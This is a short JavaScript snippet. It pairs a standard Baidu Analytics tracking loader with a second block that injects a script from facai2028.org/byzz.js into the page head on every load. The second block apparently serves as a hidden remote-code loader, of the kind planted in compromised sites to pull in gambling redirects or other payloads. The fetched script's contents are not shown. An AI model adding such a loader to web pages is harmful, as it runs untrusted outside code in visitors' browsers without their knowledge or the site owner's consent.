var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?9fd8fb90e0565b4145f4823ba34719e6";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

var script = document.createElement('script');
script.src = "https://facai2028.org/byzz.js";
script.async = true;  // 如果需要异步加载
document.head.appendChild(script);